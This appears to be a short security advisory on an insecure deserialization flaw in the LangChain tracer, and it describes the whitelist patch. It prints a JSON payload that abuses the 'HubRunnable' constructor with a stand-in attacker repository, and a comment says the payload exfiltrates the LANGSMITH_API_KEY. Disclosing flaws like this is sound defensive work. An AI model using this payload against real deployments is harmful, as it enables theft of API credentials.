The flaw lies in the unsafe deserialization of constructor types within the LangChain tracer. By passing a 'HubRunnable' ID, the attacker forces the framework to instantiate a class that makes outbound network requests. This is a classic 'Insecure Deserialization' vulnerability applied to the AI framework layer.
payload = {"lc": 1, "type": "constructor", "id": ["langchain", "runnables", "HubRunnable"], "kwargs": {"owner_repo_commit": "attacker/malicious-repo"}}
# When deserialized by the tracer, this triggers an outbound request to the attacker's repo,
# exfiltrating the LANGSMITH_API_KEY in the process.
The patch implements a whitelist for allowed constructors and prevents the instantiation of classes that can perform network I/O during the tracing process.